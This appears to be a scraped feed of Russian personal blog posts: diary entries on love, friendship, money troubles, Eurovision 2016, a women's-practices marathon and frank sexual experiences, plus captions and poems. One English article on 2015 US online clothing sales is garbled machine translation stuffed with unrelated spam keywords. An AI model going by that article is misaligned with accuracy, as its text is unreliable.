В наш кинотеатр требуется кассир. Мне не дает это покоя. Мне нужна работа, но из-за института я не смогу нормально работать. Было неплохо работать в кинотеатре, я бы могла пиздить флаеры и афиши ахаха

МАЛЕНЬКАЯ СМЕРТЬ

ЕВРОВИДЕНИЕ 2016

[первый полуфинал]

Мне есть что сказать о некоторых странах, как о понравившихся, так и о не очень, так что пойду по порядку плейлиста на ютубе: 'D

Финляндия: мне в принципе понравилась песня, да и само выступление. Исполнительница шикарная, от неё идёт такая энергия. Но я всё-таки понимаю, почему она не прошла.

Греция: после того, как я закончила несколько сезонов корейских хип-хоп шоу, а новые ещё не вышли, именно греческого хип-хопа в моей жизни не хватало :D Ай мин это явно не победитель, но меня порадовало ахах

Венгрия: одно из лучших выступлений за первый полуфинал. Замечательный голос, обалденный текст, от мужчин на бэк-вокале у меня мурашки по коже, как они насвистывали и подпевали, это ж благословение какое-то. Очень крутое выступление.

Хорватия: меня зачаровало это выступление. Всё такое какое-то мистичекое. Песня хорошая, интересный вокал. И сама дама классная, аутфиты на пятерочку :D

Нидерланды: в целом не зацепило, но был у парня какой-то битловский вайб, так что не плохо.

Армения: эта страна gets me every time. Там такие дамы. И этот раз не был исключением. Вы её видели? Да она ж богиня. И вокал on point просто, как и аутфит. Просто daaaaamn

Сан-Марино: лучшее выступление вечера, hands down :D Кто-то под видео написал "you're the finalist of my heart" и я подписываюсь под каждым словом. Это мужчина of my dreams ахахахахахахах. Почему его не пропустили в финал??? :D

Россия: сам номер конечно шикарный, тут и говорить не о чем. Ай мин сравнивать его с прошлогодним шведом нет смысла, потому что на евровидении всегда есть подобные классные номера, в которых упор на спецэффекты. Но сама песня посредственная, да и вокалом особо не отличился, взять хотя бы Кончиту и Гагарину, от которых у меня были мурашки по коже (и от тех стремных финнов 2006 года :D)

Кипр: вааааах. Это шикарно, у меня слов нет. Песня, музыка, исполнение. This is my fucking jam.

Австрия: ну она как баба на чайнике, простите: 'D Мило, прикольно, но факт остается фактом ахахаххахаха

Эстония: так вроде всё норм, но слишком уж он криповый :D Блин, его взгляд и вообще лицо какие-то очень intimidating ахахах

Азербайджан: песня как песня. Я, если честно, совсем не понимаю, почему её так заминусовали и зафукали из-за того что она прошла: / Ай мин у всех свои фавориты, но именно на эту даму у многих припекло. Не понимаю.

Босния и Герцеговина: вот поняла половину песни, люблю славянские языки, которые можно нормально понимать, владея украинским и русским :D

Франция: блииин, так вроде ничего особенного, но эти харизма и улыбка покорили меня С: И песня на французском круто звучит.

Испания: я начала пританцовывать сразу же, вот это энергия! И вы видели эту даму? Она шикарная!! А когда она начала танцевать, я вообще чуть в пляс не пустилась :D

Швеция: прикольная песня, очень ненапряжная. Прямо слушаешь и такой chill vibe получаешь. Опять же, у многих пригорело, хз почему. Парнишка адорабле, песня адорабле, всё просто и хорошо. Шведы и так потрудились на славу, let them be.

Подведем итог. Лучшие выступления полуфинала, моя тройка победителей, это:

1-е место: Сан-Марино: 'D
2-е место: Кипр
3-е место: Венгрия

gifs: [x]

1. Спутниковый телефон, рация (чтобы в случае связаться со спасателями) и аккумуляторы

2. Горючее

3. Нож/мачете

4. Сигареты

5. Спички, зажигалки

6. Веревка

7. Одежда, термоодежда

8. Алкоголь

9. Еда

10. Лекарства

Не знаю как объяснить все, что происходит. Последние дни довольно-таки странные.

М. предложил мне встречаться, это было довольно-таки неожиданно для меня. Я отказалась. Сказала, что у меня есть человек, которого я люблю, поэтому я не могу.

Моментами мне казалось, что я на секундочки начинала мириться с тем, что с С. уже все. Привыкать к этому отчасти. Да, мне было так же плохо, но все таки…Я начала думать, что не буду навязываться, раз Он не хочет общаться. И тут Он кидает мне запись, у нас завязывается разговор. На следующий день Он снова пишет мне первый..снова разговор. Потом написала первой я. Шутили весь вечер. Это было вчера. Во время разговора мне было нормально, даже хорошо, но не нужно этого. Зачем? Зачем Он мне написал? Зачем Он снова еще больше разогрел мою надежду. что все может быть как раньше. Ведь не может быть. Я прекрасно понимаю, что Он ничего не хочет, что я в этом плане уже не интересна, но зачем было это делать. Вчера я знала, что разговор все же ничего не значит, что небось в институте мы даже разговаривать не будем. Так и было. Ну перекинулись парой слов, потом как я и думала..мы не разговаривали. Он не проявлял никакого внимания. И я снова поникла.

Я с одной стороны понимаю, что это ничего не значит..и даже понять не могу что было бы лучше…общаться с Ним, или же полностью прекратить общение…Но вот Он написал, мой тупой мозг и все внутри меня начало поддерживать надежду…И мне стало больнее, потому что осознаю, что зря надеюсь.

Всю пару рвала страницу на мелкие кусочки, дала себе такое задание, сосредоточилась. Препод спросил нервничаю ли я или хлопушку делаю. Я не знала, что ответить. И не нашла ничего лучше, чем сказать "просто".

Сегодня приснился сон, что мне пришла смс от новой почты, с номером декларации. Я думала что же это за посылка, поняла, что косметика. Это было так реально. Утром я проснулась с мыслью о том, что мне надо на почту, открыла сообщения и начала паниковать ибо не обнаружила там сообщения. Только спустя минут 10 до меня дошло, что это все был сон и никакая посылка мне не приходила.

Наконец-то сделала нормальный дизайн в своем блоге! Как жаль, что на вьюи нет многих возможностей тамблера! Съезжать отсюда не хочется, здесь все такие родные!

Сегодняшний день прошел под девизом "проебано". Договор в деканат не приняли, ибо только 1 экземпляр мой любимый папа прислал, посчитав нужным проигнорировать меня. На латыни нас просто выебали, по-другому я это не могу назвать. Честно? Ненавижу среды.

Я всё чаще ловлю себя на мысли, что у меня всего одна жизнь. И что мне 23, и что я ее просто убиваю. Беспощадно, бессмысленно. У меня уже два года нет денег, а растут только долги. Я работаю, работаю, моя нервная система ломается с каждым днем, я становлюсь все меньше девушкой и все больше - роботом. Мне постоянно хочется ныть, жаловаться на всё или лечь и зарыдать. Плакать от таких обычных и глупых вещей, как отсутствия своей квартиры, машины, денег на какие-либо развлечения, путешествия, даже нормального телефона нет. Я не могу просто позвать подруг в кафе на девичник, потому что буду чувствовать себя виноватой, при таком положении дел в семье я не умею позволять себе что-то. Я не могу купить этот билет на Skillet, потому что у меня нет свободных денег. Я не могу поехать на море, не могу всё бросить и уехать, как сделала моя подруга и купила себе тур по Европе на выходные просто потому, что ей захотелось. Мне 23, моя жизнь уходит на зарабатывание денег на съемную квартиру, которая "ну, нормальная". И на еду. Я не покупаю себе ни-че-го. Никакой одежды, никакой обуви, никакой косметики. Я не могу пойти в зал, в бассейн, не могу сходить и покрасить волосы. Не могу быть молодой девушкой, которая счастлива. Меня раздражает, что мне вообще говорят "побалуй себя - сходи в парикмахерскую". С каких пор это называется баловать?! Это обычная потребность. И меня вообще пугают подобные заявления, и даже бесят. В то время, как мои бывшие одногруппницы достигают успехов, ездят со своими "молодыми режиссерами" в Канны, подруга живет у океана, вторая планирует свою жизнь без меня в ней, а третья - блистательно красивый хореограф, который ходит на курсы вокала - я сижу на развалинах того, что когда-то было "целями". И где-то в душе - стремительно старею. У меня даже друзей таких, к которым можно прийти в любой день и поболтать и что-то вместе решить-придумать-сделать - нет. Нет и тех, на которых я могу положиться, у каждого свое на уме. Ясное дело, восхищаться мной нечего, я ужасно себя запустила, у меня даже глубокие морщины появились. Я понимаю, что у меня есть вещи, гораздо ценнее денег. Я благодарна за них ежесекундно. Но почему, собственно, нельзя иметь всё сразу?

Сейчас я больше всего хочу лежать в красивом малиновом купальнике где-нибудь на песчаном пляже Греции, попивать холодный фреддо капучино, есть килограммами инжир, слушать песни Боба Марли и не думать НИ О ЧЕМ.

за что ты так поступаешь со мной, блядь?

В последнее время я разочаровываюсь очень… Так хотелось дружбу пронести через всю жизнь, сломать стереотипы. А время идет - мы отдаляемся друг от друга. Не хочется верить, что мне только одной это нужно.

Читаю свои старые записи в блоге и думаю - что за бред, какая глупая была! Но так интересно все же повспоминать… Наверняка, буду читать эту запись через много-много лет и так же реагировать.

А дело вот в чем. Чувствую, что отдаляюсь от своих друзей, от своей лучшей подруги, с которой дружим еще с самого детства. Когда-то мелкие еще ходили в один садик, гуляли во дворе еще в начальной школе, играли в бадминтон. Потом стали постарше, вместе переживали некоторые вещи, мимолетная школьная влюбленность, записки на уроках, сговоры о том, в чем пойдем завтра в школу. Последний звонок, выпускной. Пережили ведь эти гребаные экзамены, поступили в университет, и каждая ведь - в разный город. Отдаляемся по-маленьку. Первый курс, второй курс - нормально пережили, ничего не поменялось.

А теперь уже - третий. Все не так почему-то стало. Я не из тех девушек, у которых появляется парень и они сразу ныряют в омут с головой, забывая о своих друзьях. Нет, я и подруг своих очень люблю, стараюсь писать, поддерживать их, приглашаю в гости, в разных городах же живем, видимся редко. А лучшая подруга совсем перестала ездить в родной город, видимся раз в месяц, если не реже… За этот месяц уже у меня появляется ощущение стены, отсутствие взаимопонимания… Есть и другие подруги у меня. Но лучшая - это совсем другое. Это тот человек - с которым рядом на протяжении почти всей своей жизни.

Не хочется терять эту связующую нить… Но если это нужно только мне - то что поделать…

Моя сестра сейчас рожает и я даже не представляю, насколько тяжело ей. Мне хочется плакать почему то. Хоть бы все было хорошо, господи! ✊

Первый шаг к изменениям. Почему женщина начинается с тела и что такое женские практики?

✎ В ТЕЧЕНИЕ СЕГОДНЯШНЕГО ДНЯ:

• В течение всего дня следите за состоянием заземленности тела, при необходимости повторите практику несколько раз. ✔
• В течение всего дня будьте вниманием в органах чувств, особенно осязании и вкусовых рецепторах. Кушайте осознанно, устройте себе какой-то приятный тактильный опыт (например, массаж). ✔
• Заведите дневник марафона (можно в онлайн-формате), куда вы будете записывать свои наблюдения, инсайты, прикреплять фотографии. ✔

Задание на сегодня я полностью выполнила. Самое интересное, что когда я проснулась, я включила задание не сразу. Я не знала о том, что мне нужно будет практиковаться в заострении внимания на тактильных ощущениях. Но я уже поняла, что нужно научиться любить свое тело и ощущать его. Когда я проснулась, я начала гладить свои руки, чего никогда раньше не делала и может это и выглядит как-то странно, но это были приятные ощущения, тело сразу просыпается и ты чувствуешь себя хорошо и настроение поднимается, возможно, из-за того, что выглядит это слегка комично, но раз хуже не становится, то это даже отлично. Поэтому я была приятно удивлена тем, что мне удалось "предугадать" то, чем мне предстоит заняться. И я расцениваю это, как положительный знак. Думаю, что-то действительно во мне поменяется. И я думаю, что уже стало меняться.

Концентрируя внимание на теле, невольно отвлекаешься от бесконечных мыслей в голове. Ты не витаешь где-то "там", ты тут, ты заземлена. Может именно поэтому мне теперь так спокойно пишется? Потому что только сейчас я подвожу итоги дня и мысли в моей голове потоком. Итак, внимание на теле, действительно, освобождает меня от большого массива мыслей. К слову, они у меня были не всегда позитивно окрашены. Поэтому то, что их практически не было сегодня - потрясающе. И вообще в течение дня я чувствовала себя очень легко, спокойно. Мне кажется, это отразилось и в речи, я говорила более мягко. Не знаю, должно ли это давать такой эффект, или я все придумала - все равно, потому что мне нравится это состояние. Безусловно, первый день разогнал мой интерес еще больше :) И я буду узнавать себя и меняться дальше :)

А я все думала, чего Алина на меня взъелась. Она же вроде мне все дерьмо делала, а не я ей.

А в итоге поняла. Аня рассказала.

Правильно гадалка сказала, что это все зависть. Ужас.

Вы же знаете, что я гипер общительная. И мне месяц назад Аня говорила, что удивляется мне.

Ну я не модельной внешности, не супер какая-то огненная девушка, совершенно обычная, а поклонников миллион и очень много знакомых-ребят, которые всегда и везде рады меня видеть, пишут, общаются.

Это просто мой стиль общения. Я улыбаюсь, дарю людям свою улыбку и всегда получаю её взамен.

А на счёт поклонников, я на них не обращаю внимания, просто общаюсь. А влюбляюсь все равно в тех, кому я не нужна.

И Алина всегда стебала меня тем, что я специально как то это делаю, завлекаю людей к себе.

А по факту, она завидовала.

И сейчас она очень гордится тем, что она там заменяет меня, общается со всеми, пишет всем, флиртует.

Лично я никогда не загонялась по этому поводу, что вот надо кому то написать, кого то добавить, позвать.

А Алина нашла чем привлечь к себе внимание ахаха, она всех соблазняет своим телом.

Фу, мне аж писать об этом гадко.

Подробности с коттеджа, это как Аня зашла в комнату к Алине, а та полностью голая спит, а Алекс, которого она соблазняла, к слову он женат, свалил от неё и оставил одну, даже не укрыв.

Неужели в этом счастье? Творить херню? Зачем вообще настолько себя не уважать, что бы потом понтаваться и говорить, что "её хотят".

И в коттедж она условие поставила "либо я, либо Вика" потому что боялась быть не в центре внимания.

Иначе бы я переманила всех её парней, которые бегают там вокруг неё.

Такое чувство, что она этим живёт. Вниманием. Которого ей так не хватало, когда она дружила со мной. И в итоге это я виновата, что переманивала на себя внимание. Которое мне нафиг не сдалось ахаха.

Смешно, что она из-за этого Даню у меня отбила, что бы осадить. Что бы я типо осознала, что не всем я нравлюсь.

А то что я до этого два года была безответно влюблена и с Даней у нас были свободные отношения и просто было хорошо вдвоём. Плевать.

Я давным давно сделала выводы. Просто удивляюсь до сих пор тому на что человек готов, что бы сделать не приятно.

Вот так и живём. Хорошо, что я не реагирую на этот негатив. И мне все равно, кто и зачем бегает.

И Аня тоже в шоке, наконец-то до конца поняла, что Алина за человек. Потому что даже Ане она сказала кучу гадостней, что она стремная. Потому что той понравился парень-Кальянщик в коттедже и Алина стала засирать и показушно писать тому сообщения, что ждёт его.

Детский сад.

В общем у меня есть 2 недели, чтобы написать диплом. Я уже начала, довольно-таки давно начала. И писала сама. И почти полностью готово. Но антиплагиат показывает 40% самостоятельной работы. Ну что за бред? Как написать 100% самостоятельную работу по бухгалтерскому учету? Если там одна сплошная терминология, которую антиплагиат как раз и не пропускает.

В связи с чем весь день сегодня залипаю в интернете на всякую ерунду.

Не знаю, что я буду со всем этим делать..

Уже очень давно мне хотелось научиться вести себя с мужчинами мудро, знать об отношениях больше информации, а не действовать интуитивно - это первое. Второе - мне хотелось просто поменяться изнутри, а именно научиться контролировать свои эмоции, свои внутренние процессы, свою энергию. Прекратить скачки настроения, перестать уходить в стрессовых ситуациях из крайности в крайность, научиться быть спокойной и уравновешенной, найти внутри себя баланс, другими глазами смотреть на мир, стать женственнее, красивее и может быть любимее, в своем понимании.

Последнее время очень часто на слуху различные женские тренинги, школы женственности, женские практики и все тому подобное. Я как-то пропускала это мимо себя, при этом думая, что все это чушь, основанная на каком-нибудь учении, с морем непонятных нерусских слов, значений и обозначений. Но в жизни же все нужно попробовать? Эта тема меня все-таки не так давно увлекла. И, видимо, очень заинтересовала, что даже публичное выступление было посвящено одному из базовых вещей в этой теме, и я поделилась об этом с аудиторией на паре. Я считаю, что это верх моей заинтересованности, потому что рассказать об этом более чем 10 людям, я бы не решилась. Потому что по натуре своей не делюсь особенно личным с людьми, с которыми не имею тесных дружеских отношений.

Одной из школ, которую я решила попробовать на вкус, я выбрала школу Миламар. Выбрала я ее, конечно, не случайно. О том, как я ее нашла, можно опустить. Но через человека, которому я симпатизирую, который меня заряжает.

На сайте есть бесплатные материалы, в том числе бесплатный марафон, на который я подписалась и хочу увидеть результат :) ) Марафон длится 21 день, достаточно уделять 15 минут утром на просмотр видео, чтобы узнать что-то новое и выполнить задание. Сегодня первый день!

если баба носит с собой штопор в сумочке то с ней можно хоть куда в огонь, воду и караоке

жирный блеск лица не оталкивает-это ж природный хайлайтер

несвойственна любви красноречивость,
боюсь я слов красивых, как огня.
я от тебя
молчанью научилась,
и ты к терпенью
приучил меня.

Прости за меткость, мои стрелы попадали непременно в цель,
Твое сердце приняло каждую отдавая - мне любовь взамен.
Я бы охотно перемотала пленку в самое начало,
Туда, где мы были счастливы… (Я скучаю)

У меня не жизнь а хуибала какая то ебучая.
У С. появилась новая телка и этой телке кто-то пишет на аск насчет С. И конечно же П. подумала что это я! Ясен хуй.
Я бять устаа от всего этого. Почему я дожна доказывать что я не деала чего то?
Я вот П. верю и доверяю во всем. Хотя еси подумать, я могла бы найти пару штук и усомниться в том, что этого реаьно не было.Раз плюнуть. Но я ей доверяю. Еси она сказаа-значит так и есть. И тоько я блять не заслуживаю доверия. Написала один вопросик ее подруге на аске спалив новый акк и все, понеслась.Конечно же сука это я пишу.Мне ж блять делать нехуй.
Очень это бесит.Это очень обижает.
А еще П. знает что она этого не писала и гонит на меня потому что С. гонит на нее. А не должно ли быть тебе похуй а? ты этого не писала и ты это знаешь.Так пусть они обе идут нахуй а ты живи спокойно.
Но зачем, когда можно всеми немыслимыми путями пытаться "вывести меня на чистую воду".а выводить то не в чем в этом то и прикол блять))) )
Полякова говорит забить.Типа ты не писала и ты это знаешь, значит забей.Ага как же. Ведь кое кто мне нихера вообще рассказывать не удет и доверять не будет.
Вообще ее проблемы с доверием это уже не норма. Между прочим когда она меня росиа в первый раз, точнее посе того как она это сдеаа-мне ыо страно снова ей доверится.Но я ять это сдеала и я ДОВЕРИЛАСЬ ЕЙ ПОЛНОСТЬЮ.
Блять я заебалась. Люблю ее пиздец но вот эта вся хуйня меня бесит и обижает.И ведь нихера ей не докажешь.
Я просто удалила оба аска и все.Блять как же все заебало.

как соли вкус подчеркивает сладость,
так и печаль нужна, чтоб ценили радость..

Eurovision

Откровенно говоря, я не являюсь фанаткой этого песенного конкурса, но мне всегда приятно посмотреть на талантливых людей из разных стран. Этот год не стал исключением, поэтому я вчера посмотрела первый полуфинал почти до конца, мне оставалось дождаться голосования и итогов, но я знала, что уже утром все паблики будут кишить результатами, поэтому я решила, что будет лучше, если я пойду спать и просто утром узнаю результат из новостной ленты. Не так давно я узнала, что нашу страну едет представлять Лазарев. Не могу сказать, что испытываю к нему какую-то ненависть или еще что, но ка певец он мне совершенно не нравится. Я еще могла слушать их совместные песни с Топаловым, когда они еще были в дуэте и назывались "Smash!!". И не буду никого обманывать, вчерашнее выступление мне очень понравилось. Конечно, номер Лазарева очень напоминает номер Монса (победитель Евро. 2015 г.), но выступление было эффектным, да и в финал он прошел. Будем надеяться, что в этом году Россия таки займет первое место.

We can never let the word be unspoken
We will never let our loving go come undone
Everything we had is staying unbroken, oh
You will always be the only one
You're the only one
Won't ever give up 'cause you're still somewhere out there
Nothing and no one's gonna keep us apart
Breaking it down but I'm still getting nowhere
Won't stop, hold on
Thunder and lightning, it's getting exciting
Lights up the skyline to show where you are
My love is rising, the story's unwinding
Together we'll make it and reach for the stars

Ястреб с белым оперением - он не альбинос. Очень красивый и очень редкий

Фуух, здається попустило. Тепер я просто зле зло злюче. Але життя все ще продовжується і все ще воно прекрасне!

Вот сижу я сейчас в местечке где постоянно собирались со своими, но все разъехались, повылетали как птицы из гнезда и как то даже грустно. На вопрос: "вы одна будете?", с улыбкой отвечаю, что одна. Интересный опыт. В городе ребята бегают, там соревнования какие то. На вид мои ровесники. И откуда в них столько жизненной энергии? Я же в свои годы чувствую себя развалюхой и вот вот отпадут последние детали. Но вот уже принесли салат, так что подумаю об этом позже

Позвонил Федька, пожаловался, какая на улице "жопа": ливень, в кроссовках хлюпает вода.. вызвали такси, чтобы доехать до дома (мама забрать их не может- съёмки). А в моё время мы бы даже в конец света шли пешком.. И очень радовались дождю- это же по-своему волшебно.

Вчера мне хотелось ни в чем себе не отказывать: от молочного коктейля до секса с мужчиной, которому так не хотела появляться на глаза. Как только он проснулся, порадовал меня своими фотографиями, и уже тогда я решила, что сегодня он должен меня "взять". И ведь приехал, и взял! Было хорошо. Я очень скучала. Когда он зашел, мы долго стояли и обнимались, он разрешил мне молчать, а сам не переставал целовать мои плечи. С отчаяньем посмотрел на мои синяки на шее, смахивая с них пряди моих белых волос. Тогда мне, наверное, уже не хотелось с ним трахаться. Я чувствовала себя беззащитным ребенком, которому необходима ласка. Он был у меня не долго. После закончившейся страсти и секса, я сказала, что ему пора. Всегда мечтала так сделать. Он все понимал, но все же не спешил уходить: долго растягивал сигарету, а потом опять забрал меня в свои объятия. Когда я все же смогла ему противостоять, указала на дверь. А вечером, я опять сидела, поджав коленки, мечтая оказаться в мужских руках. Было уже достаточно поздно, когда я приехала к молодому человеку, который окутывает меня волшебством все последнее время. За чашкой красного чая мы смотрели сериал Друзья, и я напрочь забыла, что еще несколько часов назад закрывала дверь за своим любимым любовником, за родным не моим мужчиной. Утром, проснувшись раньше него, никак не хотела открывать глаза, пока он меня не поцелует. А когда он вез меня домой, мы опять держались за руки. Каждая встреча с ним, как последняя. Вчера мне было хорошо.

Откуда взялся миф о том, что анальный секс — это здорово, и как с этим жить

Я вообще Холину люблю и тут как нельзя кстати её статья на Снобе про анал (ссылка). Начну сразу с хардкора или с того, что меня сейчас больше всего волнует.

В сексе женщина ощущает власть мужчины над собой, и когда она в экстазе, ей хочется, чтобы эта власть стала безграничной. Одна знакомая рассказала, что даже не поняла, как они с партнером перешли с обычного на анальный секс — это случилось так естественно, что она не заметила. И это при том, что раньше ей никогда не нравилось. Вот так сильно он завладел ею, такое было наслаждение.

Вот и у меня такое было. Казалось бы - началось все романтично, все было очень мило. Обычный секс со всеми дополнительными вещами и тут ОП и я чувствую (я вначале даже не поняла, что вообще произошло и как (ну окей, КАК - это понятно ;)). Но факт остается фактом - все случилось так быстро и естественно, и самое интересное - вообще без боли и неприятных ощущений, что я только спустя n-ное количество времени поняла, что у меня случился анал. Вот так легко и просто.

И это при том, что у меня есть только одно табу в сексе и это был анал. Ну, еще до своего первого раза я конечно верила, что минет сделаю только своему мужу)) Это было, кстати, вторым табу когда-то. Но вот на счет анала я всегда была отрицательно настроена. Никогда, ни с кем и ни под каким предлогом!

Вообще иногда вспоминаю тот секс и даже и не верится, что меня трахали в жопу. Как с этим жить то теперь, спрашивается?

Да, у меня уже лет более 7 есть блог на вьюи. И да, там меня фоловят мои знакомые и именно поэтому я завожу этот блог. Потому что когда я заводила здесь свой первый блог мне было лет 14. А сейчас мне 21 и за эти годы случилось много всего нового и интересного. И иногда хочется рассказать одни определенные вещи, но - некому.

Самые близкие люди знают, что я не "девочка" как сам факт. Но обсудить с ними детали я не могу. И нет у меня еще подруг, с которыми можно было бы обсудить секс. Поэтому буду писать сюда свои мысли и переживания на эту тему.А еще интересно было бы почитать в комментариях про ваш опыт, потому что все познается в сравнении))

Такие дела.

Внутри пустота.

Я закончилась, меня нет, ничего, что было моим и должно было быть моим- этого нет. Нет никаких чувств. Пустота.
Я впервые ощутила это чувство за несколько лет. Честно сказать, я даже не знаю что лучше: чувствовать или нет.
Наверное, в данный момент, мне надо наслаждаться этим чувством.
Хорошо, но я надеюсь в скорое время все изменится.
Аминь.

6 мая

Зашла после салона попить молочного коктейли, съесть вкусняшку, пока Китти до меня доедет.

Пока Китти меряет одежду, я попиваю вкуснейший кофеек.. И скидку по старой дружбе дали 20% и кофе постоянно угощают.

Всё время на мне глючит техника.

Теперь я тоже В ТРЕНДЕ.

Не особо люблю Асиксы, но эти малышки хороши. Правда, большие мне.

Настал этот момент!

"Мне было жаль её срывать, но она такая красивая, захотелось подарить тебе".

Специально для отменных сладкоежек.

7-10 мая

Школьник.)))

На 3 дня… ;)) На 3..)))

Вот таким образом потащим наши сумки, пакеты до дачи.)))

Тут как тут!

Мой любимый друг!

Греюсь, наслаждаюсь.

Вот так радуется Браво при виде меня и просится впустить к нам.)

Когда хозяева не разрешили открыть калитку..

Только на даче можно попивать кофе, прогуливаясь по лесу.

Дождалась.

Вкусные, советую.

Как будто Китти проводит с Браво беседу о том, что нельзя "чикать" мою руку..)))

Хозяин.

За работу!

Дачный стайл.

А когда-то эти кроссовки DC стоили очень дорого и были самыми крутыми.) Им лет 8-9.

Что я нашла.)))

Маленькое застолье.

Ну а это уже нам Китти делает лаваш.)

Принесла вкусняшку другу.

10 лет дружбы с Юстасом <3

До скорой встречи..

Соскучился.

Что происходит с телом, когда означающие превращаются в колоду карт и рассыпаются? Когда взывание к имени любимой женщины не сулит ничего, кроме пустоты, хотя совсем недавно за ним открывался целый мир. Разрывается символическое полотно и сквозь Имена-Отца зияют дыры небытия. Как сухие листья, срываются с веток дерева означающие, подхваченные вихрем Реального. И только тело остается обнаженным стволом, на который пытаются вновь нацепить листья исчезающие проблески сознания, но эти попытки жалки и нелепы. Дерево содрогается от беззащитности и неопределенности, и единственный путь, который ему остается — уйти в себя, к корням, к истокам, где его подстерегает новый ужас архаических глубин.

Человек обречен на символизацию. Стремление во что бы то ни стало сохранить образ я, растворившись в мире, будучи захваченным им подобно мимикрирующему насекомому, — движение к абсолютному исчезновению, к смерти субъекта, где на передний план выходит крепкое и здоровое, но всепоглощающее эго. Но противоположное движение по ту сторону зеркала поджидает нас не райскими кущами Реального, не просветлением, а встречей с таким же всепоглощающим «черным солнцем, невидимые лучи которого пригвождают к земле, к постели, обрекая на немоту и отказ».

Рождение, отнятие от груди, разного рода фрустрации, — эти операции, о которых Гегель говорил, как о «работе негативности», структурируют психическую жизнь индивидуума. Невыполнение или отвержение таких операций ведет либо к психотическому смещению, либо к чрезмерной невротизации, проявляющейся тревожными расстройствами и затяжной депрессией.

груздева

Я могу нравиться людям, если захочу. Могу быть милой, общительной и улыбчивой. Но в большинстве случаев мне насрать, поэтому окружающие думают, что я стерва.

Никакого взросления, я не хочу ничего решать, я хочу тусить с мальчиками которые меня младше на 5-6 лет

Очистила страничку вк от фото с "друзьяшками". Тоже самое сделала и в телефоне, попутно показывая Китти фото. Наткнулась на фотку, где летом тусовались у Китти дома: он, я и четверо "друзей". Под конец все решили поиграть в игру наподобие раздевания (крутишь стрелочку: либо выполняешь действие, либо пьёшь стопку, либо что-то снимаешь\одеваешь). Разумеется, я могла только пить, в отличии от Китти и двух "друзей", которым постоянно попадалось "раздевание". Так вот в тот вечер два близких мне друга (на тот момент) сидели напротив меня, смеялись, веселились, прикрывая свои.. После той тусы моя психика конкретно поломалась. Китти, когда увидел фото с того вечера был в шоке:

-Как до такого дошло? КАК?

-А сейчас позволил бы играть в такую игру? Чтобы "друзья" сидели напротив меня полуголые?

-Нет, ни за что!, - как же всё кардинально поменялось. Не верится, что мы могли позволить себе в том году.. Мы повзрослели- и это факт.

Саймон, пёс породы Бордер-колли, которого спасли представители Нью-Йоркского общества помощи бездомным животным Rescue Dogs Rock, сам еще полностью не восстановился от ран, которые он получил ранее, но он немедленно пришёл на помощь четырехмесячному Боксёру Сэмми, которого в буквальном смысле вернули из того света.

«Сочувствие, на которое способны животные по отношению к сородичам выше моего понимания» — говорит Джеки О’Салливан, сооснователь общества «Rescue Dogs Rock». Если выразиться мягко, то Сэмми вытащили из преисподней — она испытала на себе всю человеческую жестокость — её красили аэрозольной краской, ей стреляли в голову, волокли за машиной.

Саймон не отходит от Сэмми ни на минуту. Ему недолго осталось до полного восстановления, чего не скажешь о Сэмми.

По словам О’Салливан, по всей видимости, Сэмми понадобится еще не одна операция и физиотерапия. Ему также понадобится и психотерапия — щенячий возраст Сэмми прошел без всех тех радостей, которые получают иные щенки и это необходимо исправить.

Несмотря на то что нужно еще много времени, чтобы щенок полностью восстановился, он уже в хороших руках, и ему ничего не угрожает.

а вы бы жили счастливо, зная, что никогда не станете любимой невестой, женой и матерью?достаточна ли жизнь просто для зарабатывания денег на крышу, одежду и еду?

Живёшь с ним, любовь морковь, нежности промежности, милости паршивости - но всё перечёркивает незаправленная постель. Т.к. сегодня я раньше него ушла из дома, попросила заправить. "хорошо" сказал он, и благополучно забыл (вечная отмазка у мужиков). ну раз забыл, тогда я забыла тебе ужин приготовить и переспать с тобой сегодня.

Стараешься, забываешь его подлянки, держишься, а тут такая мелочь и выбесила. Как в той фразе: "Бывает так, что все катится к ебеням, но ты держишься, стойко переносишь. А тут просто хлебушек упал и ты плачешь, потому что последняя капля"

Когда в паре кто-то один "собственник"- долго отношения не протянут.

Как же повезло, что мы с Китти оба "собственники".)))

With the popularity of free shipping and phone shopping, 2015 clothing and accessories more than computer hardware, became United States largest-selling product category.

Analyses and the Internet research firm comScore issued a report this week showed that in 2015, $ 51.5 billion in consumer spending for online clothing and accessories product categories, including clothes, shoes, handbags and cosmetics, compared with spent 49.9 billion dollars net purchase desktop, notebook, Tablet, and monitors, keyboards and other accessories.

Beginning in 2014, these two categories of products e-commerce sales are growing. But as more free shipping, delivery options, Noise Reduction Headphones and the rise of mobile shopping (these two factors are changing the way consumers), the field faster, representing a growth of 19%. Computer e-commerce spending grew only 5.3%, comScore said.

"People prefer to purchase low value products over the Internet, " said comScore senior analyst Adam Lella.

Some e-commerce service that lets consumers frequently buy smaller items, without worrying about shipping problems. Services like Amazon Prime membership policy, the consumer pays only $ 99 per year, many products can be enjoyed unconditionally free the next day delivery service. It is estimated that the Prime members of the year twice times is a member of non-spending shoppers.

Last year, the free shipping product significantly increased the proportion of e-commerce transactions. Free shipping and free return policy is very important for low-value goods, such as clothing, because the extra shipping costs will account for a large proportion in the total cost.

Meanwhile, sales are rapidly growing e-commerce product categories, including clothing, also benefited from the popularity of mobile shopping B2B China Trade. In 2015 the fourth quarter, phones and tablets shopping transactions amounted to $ 15.6 billion, compared with 2014 turnover of just over $ 10.7 billion in the same period.

According to the survey, consumers prefer by phone and tablet to buy small, cheap and simple items, rather than big-ticket needs to consider more expensive. This kind of behavior on apparel than computer products.

Одна из нелюбимых моих черт-отвлекаться, когда занимаюсь рутиной. Вот, например, сейчас я должна повторять про статическую диэлектрическую проницаемость металлов, но пишу вместо этого здесь. За последние дня три я прошла около 60 км, спасибо miband за это. И да, исполнилось одно из моих желаний - пройти пешком от Красной площади до дома. И пусть пришла в 4 утра уставшая и голова уже немного кружилась, зато невероятно довольная. В эту же прогулку мне сказали, что я веду себя как 14летняя. Да тут уж и отрицать это бессмысленно. Почему-то эта тотальная боязнь людей, страх перед неловким молчанием так и не могут развеяться. Но может принятие проблемы будет первым шагом для её устранения?

У меня сейчас идёт что-то типо сессии, где мы должны получить зачёты и сдать два экзамена, а уже в пятницу выйти на практику. Завтра у меня последний экзамен к которому я не готовлюсь из-за того, что там будут только практические задания и билетов она нам учить не давала.
На практике мы будем шить юбку, платье и жакет. Жакеты я вообще не люблю поэтому предложила сшить его Юле, уже сняла с нее мерки и направила на покупку ткани.
Юбку я хочу похожую как на картинке, правда хочу до колен и обтягивающую.

В основном когда говорят "юбка на подкладе" все сразу начинают думать о чёрной класической юбке, а я такую не хочу, так как у меня почему-то такая юбка ассоциируется с проводницами в поездах))

